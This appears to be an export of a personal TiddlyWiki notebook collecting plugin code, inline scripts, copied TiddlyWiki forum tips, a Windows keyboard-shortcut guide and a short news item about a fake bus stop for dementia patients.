		if(field != "text" && !rows) {
			e = createTiddlyElement(null,"input");
			if(tiddler.isReadOnly())
				e.setAttribute("readOnly","readOnly");
			e.setAttribute("edit",field);
			e.setAttribute("type","text");
			e.value = store.getValue(tiddler,field) || defVal;
			e.setAttribute("size","40");
			e.setAttribute("autocomplete","off");
			place.appendChild(e);
		} else {
			var wrapper1 = createTiddlyElement(null,"fieldset",null,"fieldsetFix");
			var wrapper2 = createTiddlyElement(wrapper1,"div");
			e = createTiddlyElement(wrapper2,"textarea");
			if(tiddler.isReadOnly())
				e.setAttribute("readOnly","readOnly");
			e.value = v = store.getValue(tiddler,field) || defVal;
			rows = rows || 10;
			var lines = v.match(/\n/mg);
			var maxLines = Math.max(parseInt(config.options.txtMaxEditRows),5);
			if(lines != null && lines.length > rows)
				rows = lines.length + 5;
			rows = Math.min(rows,maxLines);
			e.setAttribute("rows",rows);
			e.setAttribute("edit",field);
			e.id="eqntarget";
			place.appendChild(wrapper1);
		}
		return e;
	}
};
Here's a very minor, possibly silly, example of using TW as a
relational database. I have a set of tiddlers tagged as "Seeds" that
provide germination and yield times. Then, as items are planted, I
create tiddlers tagged as "seedaction". An option in the sidebar helps
set these up. Essentially, items tagged as "Seeds" become the parent
table of items tagged as "seedaction".

The result can be viewed via the GardenView tiddler, which uses inline
script using some code from Eric Shulman as a starter. Estimated yield
and germination dates are calculated and displayed in a sortable
table. This makes it easy to tell when certain events should be
happening, and when things are taking too long. A link on the end of
the table lets you quickly visit a tiddler and make updates to a
seedaction. I suppose the project could be enhanced with some sort of
form for setting up new seedactions, but its so simple already just to
cut and paste, that it hardly seems necessary.

  http://marksbasement.tiddlyspot.com/index.html#GardenView

-- Mark 

Source: [[Example of TW as relational database - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/df9f14c2b87e856f]]
 @@color:#C06;''&raquo; &raquo;'' @@ Tabs excludeWikiWords
----
<script>
// get all tiddlers tagged with "excludeWikiWords"
var tids=store.getTaggedTiddlers("excludeWikiWords");
// keep only tiddlers *also* tagged with New
var list=[];
for (var t=0; t<tids.length; t++)
   if (tids[t].isTagged("excludeWikiWords")) list.push(tids[t]);
// create output list of tiddler titles, one per line
var out="";
for (var t=0; t<list.length; t++) out+="#[["+list[t].title+"]]\n";
return out;
</script> 
<<tabs " "  [[ExcludedFromSearches ]] "" [[ExcludedFromSearches]]  [[ExcludedFromLists ]] "" [[ExcludedFromLists]] [[ExcludeWikiWords ]] "" [[ExcludeWikiWords]]>>
 @@color:#C06;''&raquo; &raquo;'' @@ Tabs excluded From Lists
----
<script>
// get all tiddlers tagged with "excludeLists"
var tids=store.getTaggedTiddlers("excludeLists");
// keep only tiddlers *also* tagged with New
var list=[];
for (var t=0; t<tids.length; t++)
   if (tids[t].isTagged("excludeLists")) list.push(tids[t]);
// create output list of tiddler titles, one per line
var out="";
for (var t=0; t<list.length; t++) out+="#[["+list[t].title+"]]\n";
return out;
</script> 
 @@color:#C06;''&raquo; &raquo;'' @@ Tabs excluded from searches.
----
<script>
// get all tiddlers tagged with "excludeSearch"
var tids=store.getTaggedTiddlers("excludeSearch");
// keep only tiddlers *also* tagged with New
var list=[];
for (var t=0; t<tids.length; t++)
   if (tids[t].isTagged("excludeSearch")) list.push(tids[t]);
// create output list of tiddler titles, one per line
var out="";
for (var t=0; t<list.length; t++) out+="#[["+list[t].title+"]]\n";
return out;
</script> 
[[Expanding / collapsing folder tree menu - the CSS|http://www.benefit-from-it.com/index.php?fa=dhtmlArts.cssULmenuCSS]]
Google Chrome Help Center

Source: [[Explore Google Chrome Features : Keyboard shortcuts - Google Chrome Help Center|http://www.google.com/support/chrome/bin/answer.py?answer=95743&ctx=sibling]]
Explore the features: Windows SideShow

Source: [[Explore the features: Windows SideShow|http://www.microsoft.com/windows/windows-vista/features/sideshow.aspx]]
There are several ways to render the output from an inline script.
The easiest method is to simply *return* the wiki-formatted text that
you want to have rendered, like this:

<script>
return "+++[.][[notes"+tiddler.title+"]]<<tiddler
[[notes"+tiddler.title+"]]>>===";
</script>

Note: for simple substitutions of values such as "tiddler.title", you
could also just use the <<tiddler>> macro with a computed parameter...

First, create the tiddler to be transcluded (e.g., [[AddNotes]]), with
content like this:
   +++[.][[notes$1]]<<tiddler [[notes$1]]>>===

Then, embed it in other tiddler content like this:
   <<tiddler AddNotes with: {{tiddler.title}}>>

When rendered from a tiddler called "FooBar", this will produce:
   +++[.][[notesFooBar]]<<tiddler [[notesFooBar]]>>===

QED.

enjoy,
-e
Eric Shulman 

Source: [[FET "write" without the FET? - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/ee650a97f53f989e]]
in FF3, the "browse for file" form control no longer provides access
to the full path/filename that you selected.  The result is that
import tiddlers will only look for the correct filename if it is in
the local directory.  As already noted, a quick work-around is the
manually fix the path/file in the "enter URL" input field.

However... I have a CoreTweak that *fixes* the problem for FireFox:

The tweak automatically replaces the standard "browse" button with a
button labeled "..." that uses FireFox-specific secure file I/O
functions to invoke an alternative "file picker" dialog that works
exactly the same as the regular "browse" file picker dialog, but
returns the full path/filename to the calling code.  The result is
that the correct path is available for use by the ImportTiddlers
functionality, and TW files can once again be selected and imported
from any directory you want.

Get the fix here:
   http://www.TiddlyTools.com/#CoreTweaks
   (see ticket #683 and #604)

Note: A similar fix was also applied to TiddlyTools plugins that use
the "browse for file" button.  You probably want to get those updates
as well:

   http://www.TiddlyTools.com/#ImportTiddlersPlugin
   http://www.TiddlyTools.com/#AttachFilePlugin

enjoy, 

Source: [[2-for-1 Special Offer: It's Version 2.4.1 of TiddlyWiki - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/e542907f74fe01f0]]
Here's a list of patches by Microsoft related to Vista and wake/resume problems. You may have to call MS directly for access to some of these patches. Stop errors are blue screens (BSODs).

Source: [[Windows Vista Crashes, BSODs, and System Failures on Hibernate, Resume, and Wake — The NeoSmart Files|http://neosmart.net/blog/2006/vistas-hideous-wakeup-support/]]
Fake bus stop for Alzheimer's patients

A German nursing home has created a pretend bus stop to prevent Alzheimer's patients from wandering off.

The bus stop, outside the Benrath Senior Centre in Dusseldorf, is an exact replica of a standard stop but no buses call there.

The idea emerged after the centre was forced to rely on police to retrieve patients who wanted to return to their homes and families but had forgotten that in many cases neither existed any longer.

"If we can't find them then we have to alert the police," said Benrath's director Richard Neureither. "It can be particularly dangerous if this happens in winter and they spend the night out in the cold."

Without powers to detain patients, he said, Benrath teamed up with local care association, the Old Lions, and went to the Rheinbahn transport network which was happy to provide the bus stop to nowhere.

"It sounds funny," said Old Lions Chairman Franz-Josef Goebel, "but it helps. Our members are 84 years-old on average.

"Their short-term memory hardly works at all, but the long-term memory is still active. They know the green and yellow bus sign and remember that waiting there means they will go home.

"We will approach them and say that the bus is coming later today and invite them in to the home for a coffee," said Mr Neureither. "Five minutes later they have completely forgotten they wanted to leave."

The idea has proved so successful that it has now been adopted by several other old folks' homes across Germany.

 @@color:#C06;''&raquo; &raquo;'' @@&nbsp; <<tiddler EditATiddler>>
----
|>|<<search>>|
|<<option chkSearchTitles>> Titles <<option chkSearchText>> Text <<option chkSearchTags>>Tags<<option chkHoldSearches>> Hold |
|borderlessL|k
----
|>|@@color:#04b;font-weight:bold;goto ''&raquo; &raquo;'' @@<<gotoTiddler>>|
|borderlessL|k
The original sidebar tabs can be found [[here.|SideBarTabs]]
> With Firefox 3 Coming out Tuesday are there any Bugs/Tricks/Hacks/...
> That we should know for using Tiddlywiki on Firefox 3?

Yeah... the "Browse" button in backstage>import is very different:

In FF2, you could:
A) type or paste a path+file directly into the file input field
or
B) press "browse" to select a path+file from the system-specific "file
picker" dialog

However, in FF3, the input field is no longer editable.  Clicking in
the input field is just like clicking on the "browse" button... it
opens the "file picker" dialog, so there is no way to type/paste a
value.

Even more significant, while the value *displayed* in the field after
browsing is the complete path+filename, the ".value" attribute of the
field that is accessible to the javascript code only reports the
*filename* portion of that path+filename!!!.  Because the import code
uses this reported value to populate the "URL" field above it, and
then imports based on *that* field, this change in the FF3 UI means
that, when browsing for a file, the import code only sees the
filename, and can therefore only import files that are contained in
the same directory as the TW document.

The workaround is to completely ignore the use of the 'browse' button
file-picker dialog, and directly type/paste the appropriately
constructed "file://..." reference into the URL field. 

Source: [[Firefox 3 - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/1b17008d47263562#]]
Firefox Help:  Firefox's Cookie Options

Source: [[Firefox Help - Firefox and Cookies&nbsp;&nbsp;&nbsp;&nbsp;(The Mozilla Help Site)&nbsp;&nbsp;&nbsp;&nbsp;|http://mozilla.gunnars.net/firefox_help_firefox_cookie_tutorial.html]]
FirefoxPrivilegesPlugin

Source: [[Manage Firefox Privileges - FirefoxPrivilegesPlugin|file:///C:/Users/Morris%20wa9crd/Downloads/FireFoxAddons/FireFoxPrivileges/firefoxprivileges.html]]
Second method:
--------------------
{{{
@@white-space:pre;<nowiki>
insert content here
</nowiki>@@
}}}
--------------------
uses "inline CSS" to preserve white space plus <nowiki>...</nowiki>
delimiters for 'non-wikified' text content.  Uses default font
(usually Arial/Helvetica), without any special background/border.

enjoy,
-e
Eric Shulman 

Source: [[Fixed formatting - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/f71886a19a3bd09/32ecd3ea0a9a9ca4?lnk=gst&q=%3Cnowiki%3E#32ecd3ea0a9a9ca4]]
Announcing the FixedDisplayPlugin:

    http://whatfettle.com/2008/07/FixedDisplayPlugin/

This naively creates a "fixed display" TiddlyWiki by reapplying the
DefaultTiddlers to the story whenever a tiddler is changed.

Tiddlers may still be added to a story during reading, but that
behavior may be controlled by other plugins.

Importantly, this destroys the very "unordered" nature of TiddlyWiki,
so it's certainly not for everybody. 

Source: [[FixedDisplayPlugin - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/70806138df40f0fd?q=morris+defaulttiddlers#92deda21783a53d1]]
FlexTheme

Source: [[FlexTheme  - 

Start -

Buttab -

Slidetab -

Slidetwin -

Slider

|http://flextheme.tiddlyspot.com/]]
See all public content tagged with albertkahn

http://www.flickr.com/photos/tags/albertkahn/

[[Flickr: Albert Kahn's stuff tagged with albertkahn|http://www.flickr.com/photos/albertkahn/tags/albertkahn/]]
Windows Explorer Folder View settings

Source: [[Windows Explorer Folder View settings - Vista Forums|http://www.vistax64.com/tutorials/70819-windows-explorer-folder-view-settings.html]]
<<tiddler FolderTree>>
/***
|Name|FontSizePlugin|
|Created by|SaqImtiaz|
|Location|http://tw.lewcid.org/#FontSizePlugin|
|Version|1.0|
|Requires|~TW2.x|
!Description:
Resize tiddler text on the fly. The text size is remembered between sessions by use of a cookie.
You can customize the maximum and minimum allowed sizes.
(only affects tiddler content text, not any other text)

Also, you can load a TW file with a font-size specified in the url.
Eg: http://tw.lewcid.org/#font:110

!Demo:
Try using the font-size buttons in the sidebar, or in the MainMenu above.

!Installation:
Copy the contents of this tiddler to your TW, tag with systemConfig, save and reload your TW.
Then put {{{<<fontSize "font-size:">>}}} in your SideBarOptions tiddler, or anywhere else that you might like.

!Usage
{{{<<fontSize>>}}} results in <<fontSize>>
{{{<<fontSize font-size: >>}}} results in <<fontSize font-size:>>

!Customizing:
The buttons and prefix text are wrapped in a span with class fontResizer, for easy css styling.
To change the default font-size, and the maximum and minimum font-size allowed, edit the config.fontSize.settings section of the code below.

!Notes:
This plugin assumes that the initial font-size is 100% and then increases or decreases the size by 10%. This stepsize of 10% can also be customized.

!History:
*27-07-06, version 1.0 : prevented double clicks from triggering editing of containing tiddler.
*25-07-06,  version 0.9

!Code
***/

//{{{
config.fontSize={};

//configuration settings
config.fontSize.settings =
{
            defaultSize : 100,  // all sizes in %
            maxSize : 200,
            minSize : 40,
            stepSize : 5
};

//startup code
var fontSettings = config.fontSize.settings;

if (!config.options.txtFontSize)
            {config.options.txtFontSize = fontSettings.defaultSize;
            saveOptionCookie("txtFontSize");}
setStylesheet(".tiddler .viewer {font-size:"+config.options.txtFontSize+"%;}\n","fontResizerStyles");
setStylesheet("#contentWrapper .fontResizer .button {display:inline;font-size:105%; font-weight:bold; margin:0 1px; padding: 0 3px; text-align:center !important;}\n .fontResizer {margin:0 0.5em;}","fontResizerButtonStyles");

//macro
config.macros.fontSize={};
config.macros.fontSize.handler = function (place,macroName,params,wikifier,paramString,tiddler)
{

               var sp = createTiddlyElement(place,"span",null,"fontResizer");
               sp.ondblclick=this.onDblClick;
               if (params[0])
                           createTiddlyText(sp,params[0]);
               createTiddlyButton(sp,"+","increase font-size",this.incFont);
               createTiddlyButton(sp,"=","reset font-size",this.resetFont);
               createTiddlyButton(sp,"–","decrease font-size",this.decFont);
}

config.macros.fontSize.onDblClick = function (e)
{
             if (!e) var e = window.event;
             e.cancelBubble = true;
             if (e.stopPropagation) e.stopPropagation();
             return false;
}

config.macros.fontSize.setFont = function ()
{
               saveOptionCookie("txtFontSize");
               setStylesheet(".tiddler .viewer {font-size:"+config.options.txtFontSize+"%;}\n","fontResizerStyles");
}

config.macros.fontSize.incFont=function()
{
               if (config.options.txtFontSize < fontSettings.maxSize)
                  config.options.txtFontSize = (config.options.txtFontSize*1)+fontSettings.stepSize;
               config.macros.fontSize.setFont();
}

config.macros.fontSize.decFont=function()
{

               if (config.options.txtFontSize > fontSettings.minSize)
                  config.options.txtFontSize = (config.options.txtFontSize*1) - fontSettings.stepSize;
               config.macros.fontSize.setFont();
}

config.macros.fontSize.resetFont=function()
{

               config.options.txtFontSize=fontSettings.defaultSize;
               config.macros.fontSize.setFont();
}

config.paramifiers.font =
{
               onstart: function(v)
                  {
                   config.options.txtFontSize = v;
                   config.macros.fontSize.setFont();
                  }
};
//}}}
> I've not managed to find the syntax to allow the ForEach plugin to
> create a table styled with a custom css class

Take a look here:
     http://www.tiddlywiki.org/wiki/Tables#Custom_CSS_Classes

So you can do this:
     |myTable|k
     |!Name|!Description|h
     |foo|lorem ipsum|
     |bar|dolor sit amet|

The CSS selector looks like this:
     .viewer table.myTable" 

Source: [[applying custom styles to a table output as html or from the ForEach plugin - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/6468b1095c9ed1ec]]
{{{
<script>
   var myTag=prompt("enter tag");
   if (!myTag || !myTag.trim().length) return; /* cancelled by user */
   var tids=store.getTaggedTiddlers(myTag);
   if (!tids.length) return; /* no matches */
   var out="|sortable|k\n|Title|Notes|h\n";
   for (var t=0; t<tids.length; t++)
      out+="|[[%0]]|<<tiddler [[%0]]>>|\n".format([tids[t].title]);
   return out;
</script> 
}}}
Source: [[ForEachTiddler with prompt - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/a9d03084c82f52a1]]
Similarly, whenever a <<tiddler>> macro is processed, the transcluded
content is also contained in a wrapper element that has its own
"tiddler" attribute, set to the title of the source tiddler that was
transcluded.

The fix involves re-defining the FormTiddlerPlugin lookup function, so
that it will find the *innermost* wrapper that has a "tiddler"
attribute, and then use *that* value to retrieve the correct
{{{<data>...</data>}}} block.

We can do this by adding an extra tiddler, e.g.,
[[FormTiddlerPluginTweak]], tagged with 'systemConfig', with the
following replacement code:
------------------------------------------
{{{config.macros.formTiddler.getContainingTiddlerName = function(e) {
        // find transcluded OR containing tiddler
        while(e && !e.getAttribute("tiddler")) e=e.parentNode;
        return e?e.getAttribute("tiddler"):e;
};
}}}
------------------------------------------

PLUS: as an added bonus, because 'transclusion' via the <<tabs>> macro
works the same way as the <<tiddler>> macro (i.e., it sets the
"tiddler" attribute of the containing wrapper), this 'tweak' should
also fix the same problem when using forms from within tabs! 

Source: [[popup of tiddler with <<formTiddler>> missing contents - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/6a89f5e19b54199e/34bfc6f66140f5da#34bfc6f66140f5da]]
Free Encryption / Cryptographic Software, Free On the Fly Encryption, Free Disk Encryption Tools, Steganography, Free Public Key Encryption Software

Source: [[Free Encryption / Cryptographic Software, Free On the Fly Encryption, Steganography, Free Disk Encryption Tools, Free Public Key Encryption Software (thefreecountry.com)|http://www.thefreecountry.com/security/encryption.shtml#otfe]]
''General''
[img[http://img387.imageshack.us/img387/2199/generalpg1.jpg]]
<script>
var out=""
var tids=store.getTaggedTiddlers("tscategory");
for (var t=0; t<tids.length; t++) {
    var url="";
   if (!url) url=document.location.href;
   var
permalink=encodeURIComponent(String.encodeTiddlyLink(tids[t].title));
     out+="[["+tids[t].title+"|"+url+"#"+permalink+"]]\n";
}
return "{{{\n"+out+"\n}}}\n"; 
</script>
<script>
var out=""
var tids=store.getTaggedTiddlers("tscategory");
for (var t=0; t<tids.length; t++) {
    var url="";
   if (!url) url=document.location.href;
   var
permalink=encodeURIComponent(String.encodeTiddlyLink(tids[t].title));
     out+="[["+tids[t].title+"]]\n";
}
return "{{{\n"+out+"\n}}}\n"; 
</script>
I've put together a plugin which adds geo:lat and geo:long to the
standard TiddlyWiki RSS feed: 

Source: [[GeoRSS? - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/796c64d245f4f4b4]]
    Escape - Esc is used to back out of situations. When you find yourself in a place where you don't want to be, try the Esc key. In PowerPoint this key will stop a running slide show. The keyboard combination Ctrl + Esc will open the Start menu.
    return to the keyboard

    F1

        * While working in an application, depressing this key will bring up the applications help menu. If there is no open application F1 will open Windows Help.
          return to the keyboard

    F2

        * Choose this key to rename a selected item.
        * Alt + Ctrl + F2 to open a new document in MS Word
        * Ctrl + F2 to open print preview in MS Word
          return to the keyboard

    F3

        * Depressing this key will display the Find: All Files dialog box.
        * Shift + F3 will change case in MS Word. Continue to press F3 (with the Shift key depressed) to toggle through all choices.
          return to the keyboard

    F4

        * Holding down the Alt key while depressing F4 closes the current active window. If there is no active window this opens the Shut Down dialog box.
        * Repeat an action with F4. For example, if your last action was to format a word as Bold, you can repeat the procedure by highlighting another word and depressing F4. This continues to work until your next action. (Thanks to George Held for this shortcut)
          return to the keyboard

    F5

        * Select this key to refresh the contents of a dialog box, such as the Save As or Open dialog boxes, or in a window such as a Windows Explorer window.
        * Open the Find and Replace dialog box in MS Word
        * F5 + Ctrl + Shift to insert a bookmark in MS Word
        * Use this key to start a slide show in MS PowerPoint
          return to the keyboard

    F6

        * F6 + Ctrl + Shift to move to a previous window in MS Word
        * F6 + Ctrl + Alt to move to a previous window in MS Word
          return to the keyboard

    F7

        * Perform Spell and Grammar check in MS Word
        * F7 + Shift when a word is highlighted to access the thesaurus in MS Word
              o see an activity using this feature of Word.
                return to the keyboard

    F8
    return to the keyboard

    F9
    return to the keyboard

    F10

        * Activates Menu Bar options. Use right and left arrows to select menus and down arrows to display pull down menus.
        * F10 + Shift - Depressing this key combination will display the selected item's shortcut window. This is the menu that is displayed by right-clicking.
          return to the keyboard

    F11

        * In Internet Explorer this key will allow you to toggle back and forth between full screen view (all toolbars compressed into one thin line) and normal view
        * In Excel this key will make a chart using data that you have highlighted
          return to the keyboard

    F12

        * Open a new document in MS Word
        * F12 + Ctrl + Shift to print in MS Word
        * F12 + Shift to Save in MS Word
        * F12 to open the Save As dialog box in MS Word
          return to the keyboard

    Print Screen - Don't look at your printer after pressing this key. This sends a copy of whatever is on the screen to the clipboard. One common use of this action is to paste the clipboard into Paint to copy a portion of an image for use in another application. As an example look at the Windows logo in the Windows key section of this page. That was produced by copying a small portion of the desktop image and pasting into a web page developer. If you wish to copy only the active window, hold down the Alt key, then tap on the Print Screen key. It will copy only that window that is active, not the whole desktop. (Thanks to Bruce Ellis with Dallas ISD for pointing this out)
    return to the keyboard

    Scroll Lock
    return to the keyboard

    * (Asterisk)

        * Ctrl + Shift + * to select the current region around an active cell in MS Excel. This can be quite useful in creating charts.
          return to the keyboard

    Hyphen (dash)

        * Ctrl + - (Hyphen) to bring up the Delete dialog box in MS Excel
          return to the keyboard

    [

        * Ctrl + [ to decrease font size of highlighted text one point at a time (MS Word and MS PowerPoint)
          return to the keyboard

    ]

        * Ctrl + ] to increase font size of highlighted text one point at a time (MS Word and MS PowerPoint)
          return to the keyboard

    P

        * Ctrl + P to print in many applications
        * Ctrl + P to bring up the pen if you are in a PowerPoint show
          return to the keyboard

    E

        * E to erase whatever you drew using the pen in a PowerPoint show
          return to the keyboard

    A

        * Ctrl + A to select all in many applications
        * Ctrl + A to replace the pen with the arrow pointer if you are in a PowerPoint show
          return to the keyboard

    B

        * Ctrl + B to make selected text Bold
        * B to make the screen Black if you are in a PowerPoint show
          return to the keyboard

    W

        * Ctrl + W to close a window
        * W to make the screen White if you are in a PowerPoint show
          return to the keyboard

    Z

        * Ctrl + Z to undo (to Zap an error)
          return to the keyboard

    X

        * Ctrl + X to cut selected text or images
          return to the keyboard

    C

        * Ctrl + C to copy selected text or images
          return to the keyboard

    V

        * Ctrl + V to paste text or images that have been cut or copied
          return to the keyboard

    S

        * Ctrl + S to save a document
          return to the keyboard

    D

        * Ctrl + D to make a favorite in Internet Explorer
          return to the keyboard

    Pause
    return to the keyboard

    Tilde
    return to the keyboard

    Tab -

        * This key can be used to move forward through options in a dialog box.
        * Ctrl + Shift + Tab can be used to move backward through the options.
        * Ctrl + Tab allows movement from one open window to the next in an application with more than one open window.
        * Alt + Tab displays a list of open application windows. Keeping Alt depressed and selecting Tab cycles through the list. Releasing selects the highlighted application window.
          return to the keyboard

    Caps Lock - An obvious function, but some things that are not so obvious need to be said. This key should be used with caution, if at all. A document, even a headline of a document, produced in all caps is hard for the eye to scan. If you are producing documents, or slide shows, for the purpose of communicating with some audience, you should avoid anything that makes that communication less clear. All caps is difficult for voice recognition software to interpret. All caps in Email is widely understood to be shouting or yelling at someone. Furthermore, new users should not be taught to use the caps lock key in place of depressing the Shift key to produce capital letters. Do you have thoughts on this matter? Please share them with me by Email.
    return to the keyboard

    Shift

        * The obvious use of this key is to allow selection of capital letters when depressing the alphabet characters, or selecting the characters above the keys on the row just below the F keys.
        * Depressing the Shift key while inserting a CD-ROM will bypass auto play.
        * Use the keyboard combination Shift + Delete to permanently delete a selected item, not simply moving it to the Recycle Bin.
        * Shift + arrow key(s) to extend the area of selected data in MS Excel
        * Adding the Shift key to most keyboard shortcuts will perform the reverse action. For example: Spacebar scrolls down in IE but Shift + Spacebar scrolls up, in MS Excel depressing the Enter key moves to the cell below and Shift + Enter moves to the cell above, likewise in MS Excel depressing the Tab key moves to the cell to the right and Shift + Tab moves to the cell to the left.
          return to the keyboard

    Ctrl - Depressing the Ctrl key while clicking allows multiple selections. Holding the Ctrl key down and pressing another key will initiate quite a few actions. Some of the more common are listed in the table below:

Ctrl + A to select all items
	

Ctrl + C to copy selected text or items
	

Ctrl + V to paste the contents of the clipboard

Ctrl + P to print
	

Ctrl + Z to undo
	

Ctrl + X to cut selected text

Ctrl + Esc to open the Start menu
	

Ctrl + = to bring up spell checker (pre Win XP)
	

Ctrl + Shift + *(Asterisk) to select the current region around an active cell in MS Excel. This can be quite useful in creating charts.

Ctrl + B to add/remove Bold formatting
	

Ctrl + I to add/remove Italic formatting

Ctrl + W to close the active window
	

Ctrl while dragging a file to copy the file
	

Ctrl + Shift while dragging a file to create a shortcut
Ctrl + P to display the pen in a PowerPoint show 	Ctrl + A to display the arrow in a PowerPoint show 	Ctrl + B to turn the screen Black in a PowerPoint show
Ctrl + W to turn the screen White in a PowerPoint show 	Ctrl + S to save the current document 	Ctrl + U to add/remove Underline formatting

Ctrl + 9 to hide rows in MS Excel (add Shift to the sequence to unhide.)
	

Ctrl + Tab allows movement from one open window to the next in an application with more than one open window.
	

Ctrl + F4 to close a window in an application without closing the application.
Ctrl + Enter while in Internet Explorer - Enter only the domain name then depress Ctrl before striking Enter/Return. IE automatically fills in the complete URL for a .com address.
Ctrl + - (Hyphen) to bring up the Delete dialog box in MS Excel 	Ctrl + C + C to open the clipboard (Alex Khouri told me about this one. Thanks Alex!) 	

Ctrl + 0 to hide columns in MS Excel (add Shift to the sequence to unhide.)
Ctrl + arrow (in Excel) - In a large worksheet this combination allows you to quickly move left, right, up, or down. Starting from cell A1, depressing Ctrl and pressing the right arrow moves to the cell in row 1 adjacent to the first empty cell. Ever wonder how many rows are in a worksheet? On a blank worksheet hold down the Ctrl key and press the down arrow. (Thanks to George Held for this shortcut)

    return to the keyboard

    Windows - On either side of the spacebar, outside the Alt key, is a key with the Windows logo. Holding the Windows key down and pressing another key will initiate quite a few actions. Some of the more common are listed in the table below:

+ F to display Find: All Files
	

+ F1 to display Help
	

+ R to display the Run command

+ D (or M)to minimize or restore all windows
	

+ E to display Windows Explorer
	

+ Break to display System Properties

+ Tab to cycle through buttons on the task bar
	

Shift + + M to undo minimize all windows
	

to display the Start menu
and then press U to display the Turn Off Computer menu, press U again (on laptops) or press S (on desktops) to Turn Off the computer.

If your computer has XP installed and you want to lock your computer when you walk away from it use + L
OK, I won't leave you hanging. Your Windows password will unlock your computer. (Thanks to William Grimes)

    return to the keyboard

    Alt - Located on either side of the space bar. Holding the Alt key down and pressing another key will initiate quite a few actions. Some of the more common are listed in the table below:

Alt + F4 closes the current active window. If there is no active window this opens the Shut Down dialog box 	Alt + underlined letter in menu to carry out the corresponding command on the menu 	Alt + left/right arrows in a browser moves forward or back through the pages visited in a window
Alt + Spacebar displays the current window's system menu. This is the same as left clicking on the application icon at the top left of the window. 	Alt + Enter displays a selected items properties. This can also be done with Alt + double-click. 	Alt + PrintScreen Captures the top window of the active application (Thanks to Bruce Ellis with Dallas ISD for pointing this out)
Alt + Spacebar (then C) after the system menu is displayed (see above), this combination will close a window. This works the same way as Alt + F4 but requires less stretch. Thanks to Brad Knaack for this one.
Alt + Space displays the main window's system menu. This is the same as clicking on the application icon at the left end of the title bar. 	Alt + - (hyphen) displays the current window's system menu. This is the same as left clicking on the application icon at the top left of the window. 	Alt + Tab displays a list of open application windows. Keeping Alt depressed and selecting Tab cycles through the list. Releasing selects the highlighted application window.

        return to the keyboard

    Application key - This key has an image of a mouse pointer on a menu. Depressing this key will display the selected item's shortcut window. This is the menu that is displayed by right-clicking.
    return to the keyboard

    Spacebar - Yes, you know it makes spaces between characters, but what else? In Netscape the Spacebar acts like the Page Down button.
    return to the keyboard

    Enter/Return - In any dialog box a selected button or command can be selected by depressing this key. Selected buttons can be recognized by their darker borders.
    Ctrl + Enter while in Internet Explorer - Enter only the domain name then depress Ctrl before striking Enter/Return. IE automatically fills in the complete URL for a .com address.
    return to the keyboard

    Pipe - Adding this character in an Infoseek search is a way to limit hits about a larger topic to a smaller sub-topic. For example a search for Al Gore | Internet should yield only sites about Al Gore AND the Internet.
    return to the keyboard

    Backspace - While working with text, use this key to delete characters to the left of the insertion point.
    return to the keyboard

    Insert
    return to the keyboard

    Home - Depress and hold the Ctrl key as you select Home to go to the first line of a document
    return to the keyboard

    Page Up - In a Netscape window use this key to move up one full screen on a currently displayed web page.
    return to the keyboard

    Delete - While working with text, use this key to delete characters to the right of the insertion point. This key can also be used to delete selected files. If you use the keyboard combination Shift + Delete the item is permanently deleted, not simply being moved to the Recycle Bin.
    return to the keyboard

    End - Depress and hold the Ctrl key as you select End to go to the last line of a document
    return to the keyboard

    Page Down - In a Netscape window use this key to move down one full screen on a currently displayed web page.

    return to the keyboard

    Up Arrow

        * Navigate in a document to the line above. Hold the Ctrl key down as you press this key to move to the beginning of the second line above.
        * Shift + arrow key(s) to extend the area of selected data in MS Excel
          return to the keyboard

    Left Arrow

        * Navigate in a document one character to the left. Hold the Ctrl key down as you press this key to move one word to the left.
        * Shift + arrow key(s) to extend the area of selected data in MS Excel
          return to the keyboard

    Down Arrow

        * Navigate in a document to the line below. Hold the Ctrl key down as you press this key to move to the beginning of the second line below.
        * Shift + arrow key(s) to extend the area of selected data in MS Excel
          return to the keyboard

    Right Arrow

        * Navigate in a document one character to the right. Hold the Ctrl key down as you press this key to move one word to the right.
        * Shift + arrow key(s) to extend the area of selected data in MS Excel
          return to the keyboard

    Num Lock

        * If you wish to use the numeric keypad, on the right end of the keyboard, to display numbers, the Num Lock key must be selected (a light will tell you that it is on). If you wish to use the keypad to navigate in a document, turn off Num Lock by pressing the key (the light will go off if Num Lock if off)..
          return to the keyboard

    Ins
    return to the keyboard

    Keypad keys
    * (asterisk)- In Windows Explorer this expands everything under the current selection. Caution: do not try this with the C drive icon selected.
    return to the keyboard

    - (minus) In Windows Explorer this collapses the current selection
    return to the keyboard

    + (plus) In Windows Explorer this expands the current selection.
    return to the keyboard

Source: [[Getting the most out of your Windows keyboard|http://www.internet4classrooms.com/winkeyboard.htm]]
I don't know if you noticed this but on the google bug page they give
a workaround:

"You can, however, enable them with the command line flag --enable-
file-cookies."

This works for me. 

Source: [[Google Chrome and cookies - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/e8e5e37ba24fa53b/c21f4f6afa322062#c21f4f6afa322062]]


Modify the target location of your Google Chrome shortcut, e.g.
     "C:\Programs\Google Chrome\chrome.exe" --enable-file-cookies
(It's been a while since I've done this on Windows, so the placement of
the quotation marks might be off.) 

Source: [[Google Chrome and cookies - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/e8e5e37ba24fa53b/3c0ec61d65b03545]]
Type the text for ' Google Groups'
<html><iframe src="http://www.google.com/talk/service/badge/Show?tk=z01q6amlqger7kv6119ufh6rdlek24d2t83ch50fb4fs06ea02m5fmp15f2o934kfho20lpaibmf87lruc9o2pekeiuolin11dr516ven049ruqhjkmsuubc0gk35ghp2eqfcuhd13pla3u6rifufg6omdkh6tv59t48hb84l&amp;w=200&amp;h=60" frameborder="0" allowtransparency="true" width="200" height="60"></iframe></html>
<br>
{{headline{GoogleChromeTips

Window and tab shortcuts
